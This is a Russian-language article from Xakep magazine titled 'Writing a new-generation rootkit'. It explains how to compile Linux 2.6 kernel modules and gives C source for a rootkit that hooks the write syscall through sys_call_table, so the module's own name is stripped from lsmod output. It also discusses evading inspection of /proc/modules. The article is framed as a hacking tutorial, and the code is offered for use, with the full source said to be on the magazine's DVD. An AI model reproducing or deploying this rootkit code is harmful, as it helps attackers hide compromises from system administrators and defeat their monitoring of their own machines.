Пишем руткит нового поколения Иван Скляров Хакер, номер #096, стр. 096-120-3 unsigned long *sys_call_table; Компиляция модулей ядер 2.6.x Компиляция модулей ядер 2.6.x существенно отличается от компиляции модулей в ядрах 2.4.x. Сначала необходимо создать Makefile со следующим содержимым (в качестве примера возьмем модуль с названием mod.c): obj-m += mod.o Затем нужно выполнить команду для сборки модуля следующего вида: # make –C /usr/src/linux-`uname –r` SUBDIRS=$PWD modules В том случае, если у тебя в каталоге /usr/src присутствует символическая ссылка linux на каталог с исходными текстами ядра, команда сборки будет выглядеть так: # make –C /usr/src/linux SUBDIRS=$PWD modules Как ты понимаешь, исходные тексты ядра должны быть установлены в твоей системе в каталог /usr/src. Если исходные коды ядра у тебя отсутствуют, то их нужно установить, иначе сборка модуля закончится с ошибкой. Устанавливать пакеты удобно через KDE или Gnome (ищи в меню функцию вроде «Установка программ»). Нужный пакет с исходными кодами ядра обычно имеет название вида kernel-source-номер_версии. В результате выполнения команды в текущем каталоге образуется объектный файл модуля mod.ko. Обрати внимание: в ядрах 2.6 объектные файлы модулей имеют расширение .ko, а не .o. Теперь модуль можно загрузить в ядро командой: # insmod mod.ko Просмотреть список установленных модулей можно командой lsmod, а удалить модуль - командой rmmod (здесь имя модуля указывается без расширения): # rmmod mod Далее все модули компилировать следует именно так, разумеется, подставляя каждый раз новые названия модулей в Makefile. Скрытие модуля С помощью утилиты strace мы можем узнать, какие вызовы задействует команда lsmod в своей работе: # strace lsmod open("/proc/modules", O_RDONLY) = 6 read(6, "hide_module 2440 0 – Live 0xd0db"..., 1024) = 1024 write(1, "hide_module 2440 0 "..., 33) = 33 Как видим, вызовом read читается строка из файла /proc/modules, а затем при помощи вызова write она выводится на экран. Поэтому в модуле мы просто подменяем вызов write (можно подменить read) и выполняем проверку на выполнение команды lsmod. Затем ищем в буфере имя нашего модуля и в случае его обнаружения просто возвращаем управление, в результате чего информация о модуле не выводится. Ниже показан отрывок из модуля, полный его исходный код (hide_module.c) ищи на DVD к журналу: int new_write(int fd, const char* buf, size_t count) { char *temp; int ret; /* если выполнена команда lsmod */ if (!strcmp(current->comm, "lsmod")) { /* выделяем память в пространстве ядра и копируем в нее содержимое буфера buf */ temp = (char *)kmalloc(count + 1, GFP_KERNEL); copy_from_user(temp, buf, count); temp[count + 1] = '\0'; /* если содержится имя нашего модуля */ if (strstr(temp, MODULE_NAME) != NULL) { /* освобождаем буфер в куче и возвращаем результат */ kfree(temp); return count; } } /* выполняем оригинальный вызов */ ret = orig_write(fd, buf, count); return ret; } Однако этот способ не позволяет скрыть модуль от простого просмотра содержимого файла /proc/modules, в котором находятся имена всех загруженных модулей. Конечно, мы можем по аналогии сделать дополнительные проверки и удалять информацию о нашем модуле при выводе информации. Но здесь сложность заключается в том, что просмотр выполняется множеством способов, например командой cat /proc/modules или dd if=/proc/modules bs=1, а также в Midnight Commander при помощи клавиши <F3> или <F4>. |